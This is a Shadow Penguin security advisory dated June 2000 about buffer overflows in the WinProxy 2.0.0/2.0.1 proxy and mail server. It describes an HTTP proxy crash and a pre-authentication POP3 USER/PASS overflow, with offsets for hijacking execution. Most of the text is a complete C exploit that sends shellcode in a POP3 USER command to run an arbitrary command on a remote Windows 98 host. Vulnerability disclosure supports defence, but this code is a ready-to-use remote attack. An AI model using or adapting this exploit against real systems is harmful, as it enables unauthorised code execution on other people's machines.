Shadow Penguin Security Advsory #37 - WinProxy 2.0.0/2.0.1 (now known as Black Jumbo dog) contains many remotely exploitable buffer overflows. Exploit for the POP3 service included, tested on Japanese Windows98.
78e8de82cf9348d47c5825f12d48e94baa226fdb5c9e134cadcd9e5e315b39a4
SPS Advisory #37
WinProxy 2.0.0/2.0.1 DoS and Exploitable Buffer Overflow
Note: This product is now known as Black Jumbo Dog, homepage is http://homepage2.nifty.com/spw/bjd/
[Date]
Jun 17, 2000
[Vulnerable]
http://www2.comco.ne.jp/~sin/WinProxy/
WinProxy2.0
WinProxy2.0.1
[Not Vulnerable]
WinProxy2.0.2
[Overview]
WinProxy is a freeware of Proxy,Mail,Web server software work on
Windows95/98/NT/2000 and you can download from Japanese popular
sites.
WinProxy will be terminated caused by unexpected malicious request
>from remote. This is a kind of Buffer Overflow problem.
Especially on POP3 service there are many Buffer Overflow
vulnerabilities such as USER,PASS,LIST,RETR,DELE..etc.
You may execute arbitrary code in your request strings on target
host.
[Impact]
This vulnerability will cause DoS or allow arbitrary code execute.
DoS will be caused on HTTP Proxy. Arbitrary code execute will
be caused on POP3 service.
[Detail]
(1) HTTP Proxy Server DoS
WinProxy will be terminated by following request on 8080(default)...
Offset Data
--------------
0 'G'
1 'E'
2 'T'
3 ' '
4 '/'
5 ' '
6 \r
7 \n
Note:
"\r\n" is the point.
-example-
%telnet 192.168.0.100 8080
%Connected to 192.168.0.100.
Escape character is '^]'.
GET /
(2) POP3 Server Exploitable Buffer Overflow
There are Buffer Overflow vulnerabilities in following commands..
USER
PASS
LIST
RETR
DELE
Bad guy can execute arbitrary code that is put in malicious
request. USER and PASS commands allow remote exploits without
login procedure. It's dangerous thing, isn't it ?
Following is an example of USER command.
Author of WinProxy prepared less than 300 byte for username
string cup. If you put USER+username(315 byte), you'll see
GPF dialog box(means page fault) on your screen.
That will cause Buffer Overflow by over 312 byte strings.
So, you can control EIP at exceptional handling by putting a
address on offset 312.
EAX at exceptional handling is offset308. So, you can let this
jump to an address pointed in EAX by setting address offset312
on such as JMP EAX(0xff,0xe1) in kernel32.dll.
You can skip exceptional handler address and execute code,
if you put JMPS command on offset308-309.
[Fix]
New version(v2.0.2) for this problem has already been released
on 27 Jun at WinProxy official site.
http://www2.comco.ne.jp/~sin/WinProxy/
[Caution]
We will change this information without any notice.
Use of this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.
In no event shall the author be liable for any damages whatever
arising out of or in connection with the use or spread of this
information. Any use of this information is only for personal
experiment.
[Comments ?]
If you have something comments, please send to following address..
UNYUN <shadowpenguin@backsection.net>
http://shadowpenguin.backsection.net
[Sample exploit code]
Following exploit code is for WinProxy on Windows98 from remote.
Compiled by Visual C++5.0 and tested on Japanese Windows98.
/*=========================================================================
====
WinProxy 2.0.1 Overflow Exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=========================================================================
====
*/
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#define PORT 110
#define MAXBUF 700
#define MAXPACKETBUF 32000
#define RETADR 312
#define JMPADR 308
#define CODEOFS 316
#define JMPEAX_1 0xff
#define JMPEAX_2 0xe3
#define NOP 0x90
#define KERNEL_NAME "kernel32.dll"
unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,
0x52,0x32,0xE4,0x83,0xC3,0x06,0x88,0x23,
0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF0,0x5A,0x43,0x53,0x52,0x32,0xE4,0x83,
0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,0x83,
0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,
0xFF,0xFF,0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.";
unsigned int search_mem(unsigned char *st,unsigned char *ed,
unsigned char c1,unsigned char c2)
{
unsigned char *p;
unsigned int adr;
for (p=st;p<ed;p++)
if (*p==c1 && *(p+1)==c2){
adr=(unsigned int)p;
if ((adr&0xff)==0) continue;
if (((adr>>8)&0xff)==0) continue;
if (((adr>>16)&0xff)==0) continue;
if (((adr>>24)&0xff)==0) continue;
return(adr);
}
return(0);
}
main(int argc,char *argv[])
{
SOCKET sock;
SOCKADDR_IN addr;
WSADATA wsa;
WORD wVersionRequested;
unsigned int i,kp,ip,p1,p2,p;
unsigned int pretadr;
static unsigned char buf[MAXBUF],packetbuf[MAXPACKETBUF],*q;
struct hostent *hs;
MEMORY_BASIC_INFORMATION meminfo;
if (argc<3){
printf("usage: %s VictimHost Command\n",argv[0]);
exit(1);
}
if ((void *)(kp=(unsigned int)LoadLibrary(KERNEL_NAME))==NULL){
printf("Can not find %s\n",KERNEL_NAME);
exit(1);
}
VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION));
pretadr=0;
for (i=0;i<meminfo.RegionSize;i++){
p=kp+i;
if ( ( p &0xff)==0
|| ((p>>8 )&0xff)==0
|| ((p>>16)&0xff)==0
|| ((p>>24)&0xff)==0) continue;
if (*((unsigned char *)p)==JMPEAX_1 && *(((unsigned char *)p)+1)==
JMPEAX_2) pretadr=p;
}
printf("RETADR : %x\n",pretadr);
if (pretadr==0){
printf("Can not find codes which are used by exploit.\n");
exit(1);
}
wVersionRequested = MAKEWORD( 2, 0 );
if (WSAStartup(wVersionRequested , &wsa)!=0){
printf("Winsock Initialization failed.\n"); return -1;
}
if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Can not create socket.\n"); return -1;
}
addr.sin_family = AF_INET;
addr.sin_port = htons((u_short)PORT);
if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n"); return -1;
}
addr.sin_family = hs->h_addrtype;
memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
printf("Can not connect to specified host.\n"); return -1;
}
memset(buf,NOP,MAXBUF); buf[MAXBUF-1]=0;
for (i=0;i<10;i++) memset(buf+300+i*10,0x40+i,10);
ip=pretadr;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
buf[JMPADR ]=0xeb;
buf[JMPADR+1]=0x06;
buf[RETADR+6]=0xcd;
buf[RETADR+7]=0x01;
p1=(unsigned int)GetProcAddress((HINSTANCE)kp,"LoadLibraryA");
p2=(unsigned int)GetProcAddress((HINSTANCE)kp,"GetProcAddress");
printf("LoadLibraryA : %x\n",p1);
printf("GetProcAddress : %x\n",p2);
if ( ( p1 &0xff)==0
|| ((p1>>8 )&0xff)==0
|| ((p1>>16)&0xff)==0
|| ((p1>>24)&0xff)==0
|| ( p2 &0xff)==0
|| ((p2>>8 )&0xff)==0
|| ((p2>>16)&0xff)==0
|| ((p2>>24)&0xff)==0){
printf("NULL code is included.\n");
exit(1);
}
strcat(cmdbuf,argv[2]);
strcat(exploit_code,cmdbuf);
exploit_code[0x0d]=p1&0xff;
exploit_code[0x0e]=(p1>>8)&0xff;
exploit_code[0x0f]=(p1>>16)&0xff;
exploit_code[0x10]=(p1>>24)&0xff;
exploit_code[0x21]=exploit_code[0x35]=p2&0xff;
exploit_code[0x22]=exploit_code[0x36]=(p2>>8)&0xff;
exploit_code[0x23]=exploit_code[0x37]=(p2>>16)&0xff;
exploit_code[0x24]=exploit_code[0x38]=(p2>>24)&0xff;
exploit_code[0x41]=strlen(argv[2]);
memcpy(buf+CODEOFS,exploit_code,strlen(exploit_code));
sprintf(packetbuf,"user %s\r\n",buf);
send(sock,packetbuf,strlen(packetbuf),0);
Sleep(3000);
closesocket(sock);
printf("Done.\n");
return FALSE;
}